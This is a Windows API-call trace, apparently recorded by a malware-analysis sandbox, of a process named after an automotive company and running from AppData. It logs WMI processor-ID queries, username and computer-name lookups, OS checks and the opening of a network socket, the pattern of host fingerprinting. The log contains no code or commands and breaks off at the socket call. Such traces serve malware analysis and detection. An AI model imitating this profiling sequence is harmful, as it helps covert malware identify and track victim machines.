	[0180.980] IMarshal:GetUnmarshalClass (in: This=0x4734c74, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ad9d0 | out: pCid=0x3ad9d0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0180.980] IUnknown:Release (This=0x4734c74) returned 0x3
	[0180.980] CoGetContextToken (in: pToken=0x3ad9d8 | out: pToken=0x3ad9d8) returned 0x0
	[0180.980] IUnknown:AddRef (This=0x4734c70) returned 0x4
	[0180.980] IUnknown:QueryInterface (in: This=0x4734c70, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ada4c | out: ppvObject=0x3ada4c*=0x0) returned 0x80004002
	[0180.980] IUnknown:Release (This=0x4734c70) returned 0x3
	[0180.980] IUnknown:Release (This=0x4734c70) returned 0x2
	[0180.981] CoGetContextToken (in: pToken=0x3ade38 | out: pToken=0x3ade38) returned 0x0
	[0180.981] CoGetContextToken (in: pToken=0x3addf8 | out: pToken=0x3addf8) returned 0x0
	[0180.981] IUnknown:AddRef (This=0x4734c70) returned 0x3
	[0180.981] IUnknown:QueryInterface (in: This=0x4734c70, riid=0x3ade74*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x3ade70 | out: ppvObject=0x3ade70*=0x4734c70) returned 0x0
	[0180.981] IUnknown:Release (This=0x4734c70) returned 0x3
	[0180.981] IUnknown:Release (This=0x4734c70) returned 0x2
	[0180.981] IUnknown:Release (This=0x4734c70) returned 0x1
	[0180.981] IUnknown:Release (This=0x4734c24) returned 0x2
	[0180.981] CoGetContextToken (in: pToken=0x3ae720 | out: pToken=0x3ae720) returned 0x0
	[0180.981] IUnknown:AddRef (This=0x4734c70) returned 0x2
	[0180.982] IWbemClassObject:Get (in: This=0x4734c70, wszName="__GENUS", lFlags=0, pVal=0x3ae79c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3ae850*=0, plFlavor=0x3ae84c*=0 | out: pVal=0x3ae79c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x3ae850*=3, plFlavor=0x3ae84c*=64) returned 0x0
	[0180.982] IWbemClassObject:Get (in: This=0x4734c70, wszName="__PATH", lFlags=0, pVal=0x3ae77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3ae834*=0, plFlavor=0x3ae830*=0 | out: pVal=0x3ae77c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XABNCPUWKW\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x3ae834*=8, plFlavor=0x3ae830*=64) returned 0x0
	[0180.982] SysStringLen (param_1="\\\\XABNCPUWKW\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x37
	[0180.982] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x304
	[0180.982] GetLastError () returned 0x0
	[0180.982] SetEvent (hEvent=0x278) returned 1
	[0180.982] GetLastError () returned 0x0
	[0180.982] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ae798*=0x304, lpdwindex=0x3ae550 | out: lpdwindex=0x3ae550) returned 0x0
	[0180.985] CoGetContextToken (in: pToken=0x3ae5e8 | out: pToken=0x3ae5e8) returned 0x0
	[0180.985] CoGetContextToken (in: pToken=0x3ae5a8 | out: pToken=0x3ae5a8) returned 0x0
	[0180.985] WbemDefPath:IUnknown:AddRef (This=0x472e160) returned 0x2
	[0180.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x472e160, riid=0x3ae624*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae620 | out: ppvObject=0x3ae620*=0x472e160) returned 0x0
	[0180.985] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x2
	[0180.985] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x1
	[0180.986] CoGetContextToken (in: pToken=0x3ae668 | out: pToken=0x3ae668) returned 0x0
	[0180.986] CoGetContextToken (in: pToken=0x3ae628 | out: pToken=0x3ae628) returned 0x0
	[0180.986] WbemDefPath:IUnknown:AddRef (This=0x472e160) returned 0x2
	[0180.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x472e160, riid=0x3ae6a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6a0 | out: ppvObject=0x3ae6a0*=0x472e160) returned 0x0
	[0180.986] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x2
	[0180.986] WbemDefPath:IWbemPath:SetText (This=0x472e160, uMode=0x4, pszPath="\\\\XABNCPUWKW\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0
	[0180.986] WbemDefPath:IUnknown:Release (This=0x472e160) returned 0x1
	[0180.986] CoGetContextToken (in: pToken=0x3ae654 | out: pToken=0x3ae654) returned 0x0
	[0180.986] CoGetContextToken (in: pToken=0x3ae614 | out: pToken=0x3ae614) returned 0x0
	[0180.986] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0180.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae68c | out: ppvObject=0x3ae68c*=0x472da88) returned 0x0
	[0180.986] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0180.986] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472da88, puCount=0x3ae808 | out: puCount=0x3ae808*=0x2) returned 0x0
	[0180.986] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0180.986] CoGetContextToken (in: pToken=0x3ae644 | out: pToken=0x3ae644) returned 0x0
	[0180.986] CoGetContextToken (in: pToken=0x3ae604 | out: pToken=0x3ae604) returned 0x0
	[0180.987] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0180.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae680*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae67c | out: ppvObject=0x3ae67c*=0x472da88) returned 0x0
	[0180.987] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0180.987] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae804*=0x0, pszText=0x0 | out: puBuffLength=0x3ae804*=0xf, pszText=0x0) returned 0x0
	[0180.987] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0180.987] CoGetContextToken (in: pToken=0x3ae644 | out: pToken=0x3ae644) returned 0x0
	[0180.987] CoGetContextToken (in: pToken=0x3ae604 | out: pToken=0x3ae604) returned 0x0
	[0180.987] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0180.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae680*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae67c | out: ppvObject=0x3ae67c*=0x472da88) returned 0x0
	[0180.987] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0180.987] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae804*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ae804*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0180.987] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0180.987] CoGetContextToken (in: pToken=0x3ae63c | out: pToken=0x3ae63c) returned 0x0
	[0180.987] CoGetContextToken (in: pToken=0x3ae5fc | out: pToken=0x3ae5fc) returned 0x0
	[0180.987] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0180.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae678*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae674 | out: ppvObject=0x3ae674*=0x472da88) returned 0x0
	[0180.988] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0180.988] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472da88, puCount=0x3ae7f0 | out: puCount=0x3ae7f0*=0x2) returned 0x0
	[0180.988] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0180.988] CoGetContextToken (in: pToken=0x3ae62c | out: pToken=0x3ae62c) returned 0x0
	[0180.988] CoGetContextToken (in: pToken=0x3ae5ec | out: pToken=0x3ae5ec) returned 0x0
	[0180.988] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0180.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae668*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae664 | out: ppvObject=0x3ae664*=0x472da88) returned 0x0
	[0180.988] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0180.988] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae7ec*=0x0, pszText=0x0 | out: puBuffLength=0x3ae7ec*=0xf, pszText=0x0) returned 0x0
	[0180.988] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0180.988] CoGetContextToken (in: pToken=0x3ae62c | out: pToken=0x3ae62c) returned 0x0
	[0180.988] CoGetContextToken (in: pToken=0x3ae5ec | out: pToken=0x3ae5ec) returned 0x0
	[0180.988] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0180.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae668*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae664 | out: ppvObject=0x3ae664*=0x472da88) returned 0x0
	[0180.988] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0180.989] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae7ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ae7ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0180.989] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0180.990] IWbemClassObject:Get (in: This=0x4734c70, wszName="processorID", lFlags=0, pVal=0x3ae7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23ca37c*=0, plFlavor=0x23ca380*=0 | out: pVal=0x3ae7ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x23ca37c*=8, plFlavor=0x23ca380*=0) returned 0x0
	[0180.990] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10
	[0180.991] IWbemClassObject:Get (in: This=0x4734c70, wszName="processorID", lFlags=0, pVal=0x3ae7b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23ca37c*=8, plFlavor=0x23ca380*=0 | out: pVal=0x3ae7b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x23ca37c*=8, plFlavor=0x23ca380*=0) returned 0x0
	[0180.991] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10
	[0180.991] CoGetContextToken (in: pToken=0x3ae58c | out: pToken=0x3ae58c) returned 0x0
	[0180.991] IUnknown:AddRef (This=0x4734c24) returned 0x3
	[0180.991] IEnumWbemClassObject:Next (in: This=0x4734c24, lTimeout=-1, uCount=0x1, apObjects=0x52e3f8, puReturned=0x23c8e74 | out: apObjects=0x52e3f8*=0x0, puReturned=0x23c8e74*=0x0) returned 0x1
	[0180.992] IUnknown:Release (This=0x4734c24) returned 0x2
	[0180.993] CoGetContextToken (in: pToken=0x3ae6d8 | out: pToken=0x3ae6d8) returned 0x0
	[0180.993] IUnknown:Release (This=0x585234) returned 0x1
	[0180.993] IUnknown:Release (This=0x4734c24) returned 0x0
	[0181.043] GetUserNameW (in: lpBuffer=0x56d220, pcbBuffer=0x23dc488 | out: lpBuffer="kFT6uTQW", pcbBuffer=0x23dc488) returned 1
	[0181.044] GetComputerNameW (in: lpBuffer=0x56d220, nSize=0x23dc6fc | out: lpBuffer="XABNCPUWKW", nSize=0x23dc6fc) returned 1
	[0181.106] GetACP () returned 0x4e4
	[0181.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config", nBufferLength=0x105, lpBuffer=0x3ae194, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config", lpFilePart=0x0) returned 0x64
	[0181.158] GetLastError () returned 0x0
	[0181.159] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3ae198, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0181.159] GetLastError () returned 0x0
	[0181.221] GetVersionExW (in: lpVersionInformation=0x56d220*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x56d220*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0181.221] GetLastError () returned 0x0
	[0181.222] GetCurrentProcess () returned 0xffffffff
	[0181.222] GetLastError () returned 0x3f0
	[0181.223] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae32c | out: TokenHandle=0x3ae32c*=0x310) returned 1
	[0181.223] GetLastError () returned 0x3f0
	[0181.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x3adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
	[0181.226] GetLastError () returned 0x0
	[0181.227] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae36c | out: lpFileInformation=0x3ae36c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
	[0181.227] GetLastError () returned 0x0
	[0181.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ade84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
	[0181.228] GetLastError () returned 0x0
	[0181.228] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae368 | out: lpFileInformation=0x3ae368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
	[0181.228] GetLastError () returned 0x0
	[0181.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3addd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
	[0181.229] GetLastError () returned 0x0
	[0181.229] SetErrorMode (uMode=0x1) returned 0x0
	[0181.230] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x318
	[0181.230] GetLastError () returned 0x0
	[0181.231] GetFileType (hFile=0x318) returned 0x1
	[0181.231] GetFileType (hFile=0x318) returned 0x1
	[0181.238] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae2f4, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3ae2f4*=0x1000, lpOverlapped=0x0) returned 1
	[0181.239] GetLastError () returned 0x0
	[0181.247] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae104, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3ae104*=0x1000, lpOverlapped=0x0) returned 1
	[0181.247] GetLastError () returned 0x0
	[0181.248] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3adfac, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3adfac*=0x1000, lpOverlapped=0x0) returned 1
	[0181.248] GetLastError () returned 0x0
	[0181.248] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3adfac, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3adfac*=0x1000, lpOverlapped=0x0) returned 1
	[0181.248] GetLastError () returned 0x0
	[0181.248] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3adfac, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3adfac*=0x1000, lpOverlapped=0x0) returned 1
	[0181.248] GetLastError () returned 0x0
	[0181.250] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0e0, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3ae0e0*=0x1000, lpOverlapped=0x0) returned 1
	[0181.250] GetLastError () returned 0x0
	[0181.250] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3adf74, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3adf74*=0x5b3, lpOverlapped=0x0) returned 1
	[0181.250] GetLastError () returned 0x0
	[0181.250] ReadFile (in: hFile=0x318, lpBuffer=0x23e1394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae060, lpOverlapped=0x0 | out: lpBuffer=0x23e1394*, lpNumberOfBytesRead=0x3ae060*=0x0, lpOverlapped=0x0) returned 1
	[0181.250] GetLastError () returned 0x0
	[0181.250] CloseHandle (hObject=0x318) returned 1
	[0181.250] GetLastError () returned 0x0
	[0181.251] GetCurrentProcess () returned 0xffffffff
	[0181.251] GetLastError () returned 0x3f0
	[0181.251] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae5bc | out: TokenHandle=0x3ae5bc*=0x318) returned 1
	[0181.251] GetLastError () returned 0x3f0
	[0181.251] GetCurrentProcess () returned 0xffffffff
	[0181.251] GetLastError () returned 0x3f0
	[0181.252] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae5bc | out: TokenHandle=0x3ae5bc*=0x314) returned 1
	[0181.252] GetLastError () returned 0x3f0
	[0181.252] GetCurrentProcess () returned 0xffffffff
	[0181.252] GetLastError () returned 0x3f0
	[0181.252] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae32c | out: TokenHandle=0x3ae32c*=0x31c) returned 1
	[0181.252] GetLastError () returned 0x3f0
	[0181.252] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae36c | out: lpFileInformation=0x3ae36c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0181.252] GetLastError () returned 0x2
	[0181.252] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config", nBufferLength=0x105, lpBuffer=0x3ade84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config", lpFilePart=0x0) returned 0x64
	[0181.253] GetLastError () returned 0x2
	[0181.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae368 | out: lpFileInformation=0x3ae368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0181.253] GetLastError () returned 0x2
	[0181.253] GetCurrentProcess () returned 0xffffffff
	[0181.253] GetLastError () returned 0x3f0
	[0181.253] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae5bc | out: TokenHandle=0x3ae5bc*=0x320) returned 1
	[0181.253] GetLastError () returned 0x3f0
	[0181.253] GetCurrentProcess () returned 0xffffffff
	[0181.253] GetLastError () returned 0x3f0
	[0181.253] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae5bc | out: TokenHandle=0x3ae5bc*=0x324) returned 1
	[0181.254] GetLastError () returned 0x3f0
	[0181.264] GetCurrentProcess () returned 0xffffffff
	[0181.264] GetLastError () returned 0x3f0
	[0181.264] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae398 | out: TokenHandle=0x3ae398*=0x328) returned 1
	[0181.264] GetLastError () returned 0x3f0
	[0181.271] GetCurrentProcess () returned 0xffffffff
	[0181.271] GetLastError () returned 0x3f0
	[0181.271] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae3a8 | out: TokenHandle=0x3ae3a8*=0x32c) returned 1
	[0181.271] GetLastError () returned 0x3f0
	[0181.277] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x330
	[0181.277] GetLastError () returned 0x0
	[0181.277] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x334
	[0181.277] GetLastError () returned 0x0
	[0181.284] GetCurrentProcess () returned 0xffffffff
	[0181.284] GetLastError () returned 0x3f0
	[0181.284] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae38c | out: TokenHandle=0x3ae38c*=0x338) returned 1
	[0181.284] GetLastError () returned 0x3f0
	[0181.286] GetCurrentProcess () returned 0xffffffff
	[0181.286] GetLastError () returned 0x3f0
	[0181.286] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae39c | out: TokenHandle=0x3ae39c*=0x33c) returned 1
	[0181.286] GetLastError () returned 0x3f0
	[0181.291] GetCurrentProcess () returned 0xffffffff
	[0181.291] GetLastError () returned 0x3f0
	[0181.291] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae360 | out: TokenHandle=0x3ae360*=0x340) returned 1
	[0181.291] GetLastError () returned 0x3f0
	[0181.292] GetCurrentProcess () returned 0xffffffff
	[0181.292] GetLastError () returned 0x3f0
	[0181.292] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae370 | out: TokenHandle=0x3ae370*=0x344) returned 1
	[0181.292] GetLastError () returned 0x3f0
	[0181.294] GetCurrentProcess () returned 0xffffffff
	[0181.294] GetLastError () returned 0x3f0
	[0181.294] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae664 | out: TokenHandle=0x3ae664*=0x348) returned 1
	[0181.295] GetLastError () returned 0x3f0
	[0181.304] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ad6c4 | out: phkResult=0x3ad6c4*=0x34c) returned 0x0
	[0181.305] RegQueryValueExW (in: hKey=0x34c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x3ad70c, lpData=0x0, lpcbData=0x3ad708*=0x0 | out: lpType=0x3ad70c*=0x1, lpData=0x0, lpcbData=0x3ad708*=0xe) returned 0x0
	[0181.306] RegQueryValueExW (in: hKey=0x34c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x3ad70c, lpData=0x56d220, lpcbData=0x3ad708*=0xe | out: lpType=0x3ad70c*=0x1, lpData="Client", lpcbData=0x3ad708*=0xe) returned 0x0
	[0181.306] RegCloseKey (hKey=0x34c) returned 0x0
	[0181.324] RasEnumConnectionsW (in: param_1=0x596f68, param_2=0x3ae6dc, param_3=0x3ae6e0 | out: param_1=0x596f68, param_2=0x3ae6dc, param_3=0x3ae6e0) returned 0x0
	[0181.337] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x596f68 | out: lpWSAData=0x596f68) returned 0
	[0181.347] GetLastError () returned 0x0
	[0181.353] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x38c
